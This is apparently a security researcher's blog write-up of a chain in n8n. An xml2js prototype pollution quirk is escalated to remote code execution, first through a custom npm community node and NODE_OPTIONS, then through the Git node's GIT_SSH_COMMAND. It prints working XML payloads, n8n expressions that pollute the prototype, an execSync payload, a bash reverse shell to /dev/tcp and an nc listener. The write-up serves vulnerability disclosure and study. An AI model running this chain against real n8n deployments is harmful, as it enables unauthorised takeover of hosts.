Introduction
n8n is an open-source node-based workflow automation tool that allows you to connect applications, databases, and AI agents to automate tasks. In this post, we walk through a vulnerability chain that starts with a subtle semantic quirk in xml2js, a widely used XML parsing library for Node.js, and ends with unauthenticated remote code execution on the host. The root cause is a prototype pollution primitive, a class of bug often dismissed as low-severity. This research shows that, given the right gadget chain, even a highly constrained primitive can reach full shell access.
Finding the Vulnerability
While reviewing its source code, I found that it implements a custom body parser that processes incoming requests differently based on their content type.

As shown in the code above, xml2js is used to parse the request body when the data is in XML format. For some reason, my internal alarms started ringing, and I was pretty sure this can go very bad.
I took this XML parsing setup and started working on it. The first thing I tried was to get XXE since it is handling XML data, but this was impossible because xml2js is actually an abstraction over the sax library, which parses the XML document using the SAX parsing technique. Unlike DOM parsing, SAX does not load the whole XML document first and then process the data; instead, it parses the document as a sequence of events.
Then i tried the obvious approach by attempting prototype pollution using a simple payload like this:
<?xml version="1.0" encoding="UTF-8"?><__proto__><polluted>true</polluted></__proto__>
This didn’t work. In fact, this issue had already been discovered and tracked as CVE-2023-0842. At that point, I knew it wouldn’t be that easy, so I tried performing the pollution at a deeper level and, surprisingly, it worked.

But it didn’t work as a normal prototype pollution vulnerability. The pollution did affect Object.prototype, but the injected values were wrapped in arrays (e.g., [“constructor”]) rather than being raw primitives, a side effect of how xml2js normalizes parsed node values. This limits exploitability since you can’t directly overwrite methods or properties.
To understand why this strange behavior occurs, I analyzed the source code of xml2js itself. It turned out that the issue stems from a difference in semantics between CoffeeScript, the language the library is written in, and the compiled JavaScript output.
In CoffeeScript, the assignOrPush function was designed to store a single value normally, but if multiple values arrive for the same key, it converts it into an array and collects them.

But when this code is compiled to JavaScript, this is where the issue begins.

key not of obj gets translated to !(key in obj). Because the in operator checks properties through the prototype chain,
XML tags that match inherited Object.prototype properties such as __proto__ and constructor are incorrectly recognized as existing keys.
This leads to inherited properties being merged with user-supplied data in arrays, which disrupts the structure of the parsed object.
This issue had already been reported to the xml2js maintainers, this GitHub issue.
Exploitation
While the final exploit path is relatively straightforward in hindsight, it was far from obvious during the research process. Reaching a working chain required extensive experimentation, exploring multiple dead ends, and going down several rabbit holes. Many seemingly viable approaches failed due to existing mitigation, even though the underlying vulnerability was still present.
As discussed earlier, you need to set up a webhook to reach the vulnerable code path. This does not require any complex configuration. Simply add a Webhook node in n8n. Set the HTTP method to POST so you can send a request body, and define a path of your choice (for example, test).

The real exploitation begins after the vulnerable code parses the request body and appends the object reference to it.
My first attempt was to use the classic constructor.constructor technique. However, this approach did not work in this case for several reasons. The main limitation is that the pollution primitive only gives control over an object reference at the beginning of the user-supplied input. The resulting structure looks something like this:
{ test: { constructor: [ [Function: Object], '' ] } }
Here, [Function: Object] corresponds to {}.constructor. To achieve code execution, the goal would typically be to access Function via constructor.constructor. However, this is not possible in this scenario.
The vulnerable logic appends new values into arrays rather than allowing direct control over the object structure. As a result, you end up with nested arrays containing repeated references to Object, without a reliable way to traverse or escalate this into Function.
{test: {constructor: [ [Function: Object], { constructor: [ [Function: Object], '' ]}]}}
Additionally, workflow expressions prevent access to these kinds of properties for security reasons, as they would effectively introduce a separate critical vulnerability. In fact, similar exploitation vectors have been mitigated in the past (e.g., CVE-2026-25049), which further restricts the viability of this technique.
So, I return to use __proto__ attribute it’s has the same limitation as the constructor object, I still can’t add any attribute from the xml2js via the request body directly, but sense the bug give me the a reference to the object i can work with at normally by using Edit Fields i can add any attribute of my choice on the __proto__ object without even mention the name of __proto__ .
Request body:
<?xml version="1.0" encoding="UTF-8"?><test><__proto__/></test>
The resulting object:
{ test: { ['__proto__']: [ [Object: null prototype] {}, '' ] } }
You can access this reference simply like that, and it just works perfectly.
// JS
Object.values(body.test)[0][0]; // [Object: null prototype] {}
// N8N expression
{
{
Object.values($json.body.test)[0][0]; // [Object: null prototype] {}
}
}
Add the attribute using Edit Fields:

After adding any new attribute, the instance crashes. This happens because, after each workflow execution, n8n attempts to update the database with workflow statistics, which ends up interacting with the polluted object and triggers the failure.

This is not a big deal, because the exploit can be reached anyway; this update is done after the workflow is done. If you don’t want this crash to happen, you can use Edit Fields again at the end of your exploit to remove the attribute you have added by setting it to undefined.
Now that we have a prototype pollution vulnerability, the next step is to escalate it to RCE. A simple DoS is not particularly interesting when there’s potential to achieve full code execution.
To achieve this, you need to find a suitable gadget that eventually reaches a system-level function with an object whose properties you can control. In Node.js, a common target is any code path that ends up calling spawn, as it is a well-known and powerful gadget for achieving code execution when influenced by user-controlled input.
We must consider that spawn by itself is no longer let you just pollute the options object because Node.js maintainers have addressed the underlying issues that previously made it exploitable, making this technique no more effective.

To exploit it you must find a direct command injection in the command string the get passed to the spawn function or a code that initialize a plain object then pass it to spawn as options object that will work exactly the same as the old spawn behavior.
First approach
I reviewed the code of @n8n/node-cli , and i noticed that’s wrote the code with the same pattern of the old spawn code

They initialize the options as a plain object and then spread the env object into it. This creates a strong gadget, as it allows controlled properties to propagate into the execution context, making it useful for achieving RCE.
But it is still only used in @n8n/node-cli — so how can this be useful for us? Well, we can use a community node that implements the same code pattern and use it to run commands.
I have created a very simple community node that searches the npm registry for packages related to the keyword security using the n8n-nodes-starter
As shown, the code above is in no way harmful in any normal case; there is no user-controlled input going anywhere. i have already published it on the npm registry with the name of n8n-nodes-trust-me-im-totally-safe.
Now, how do we turn this into RCE? We will abuse the npm feature --require, which allows us to include a JS file that will be executed before the original command runs. This is possible by providing it in NODE_OPTIONS in the env object. We will need a JS file that contains the malicious code. Fortunately, n8n supports writing files to the disk.
All of that can be done with the following workflow:

XML payload:
<?xml version="1.0" encoding="UTF-8"?><test><__proto__/><js>require("child_process").execSync("gnome-calculator -e n0pTeX");</js></test>
Edit Fields node setup:
{
{
Object.values($("Webhook").item.json.body.test)[0][0].env = {
NODE_OPTIONS: "--require /home/tallat/.n8n-files/index.js",
};
}
}
And you will get the gnome-calculator as expected.

However, this exploit has several downsides. First, it requires installing a custom community node. Even if it does not cause direct harm, the n8n maintainers clearly state that installing community nodes can be risky on the community nodes page.
Community nodes are only available in self-hosted n8n installations; they are not supported in the cloud version.
Only users with Owner or Admin roles can install and manage community nodes. In a real attack scenario, an attacker with these privileges would not need to go through this exploit chain to achieve RCE. They could simply install a malicious community node that provides command execution capabilities.
Therefore, this is not an acceptable approach, so I need to find something else.
The Git Node Gadget
I have browsed the code again searching for this condition, and I have gotten to Git.node.ts, and I analyzed it’s code and it’s do it’s operations by using simple-git package, then i analyzed this package, and I have found that it allow the user to add or modify env object, after that it will used in options object which it’s get passed to spawn function.

First thing I tried to do was to abuse this with modify PAGER environment variable and adding the malicious command to get the RCE, but this way failed.
PAGER sets the program used to display command output page by page. For example, when you run git log, the output can be viewed using a pager like less, nano, vim, or any other program you specify.
This required the stdio to be set to the value of inherit; it is pipe by default, unfortunately i can’t modify this attribute with the prototype pollution vulnerability.
So, I decided to go with another way by abusing the GIT_SSH_COMMAND environment variable, which it run before any git operation if it is performed over SSH.
Putting it all together
Now, we have all we need, the exploit now is straightforward and can done in the following steps:
- Set up the Webhook
- Send the following XML payload to the Webhook: First item is to get the {}.proto to pollute it.
<?xml version="1.0" encoding="UTF-8"?><test><__proto__/></test>
- Take <proto> in Edit Fields and add the following attributes:
{
{
Object.values($json.body.test)[0][0].env = {
GIT_SSH_COMMAND: "bash -c 'bash -i >& /dev/tcp/127.0.0.1/3141 0>&1'",
};
}
}
- Use the Clone operation from the Git node and clone a test repo.
- Use the Add Config operation from the Git node and set remote.origin.url to the ssh uri of the repo to force usage of the ssh with the git operations.
- Use any git operation to trigger the usage of the GIT_SSH_COMMAND. In this case, I just used the Pull operation
- Set up an nc listener
nc -lnvp 3141
- Run the workflow and get the reverse connection back.
Demo:
Summary
In this blog, we covered the technical details behind a very limited property confusion vulnerability in xml2js and how we were able to escalate it to full remote code execution (RCE) in n8n. We walked through the discovery of the bug, analyzed how the parsing logic led to a usable prototype pollution primitive, and explored the challenges in turning that primitive into a reliable exploit.
Despite multiple dead ends and existing mitigations, we identified a viable exploitation path by finding a suitable gadget that allowed controlled data to reach a sensitive execution context. This ultimately enabled us to move from a constrained primitive to full code execution.
This case highlights how even limited or partially mitigated vulnerabilities can still be leveraged in complex applications, especially when combined with real-world code paths and unsafe object handling patterns.








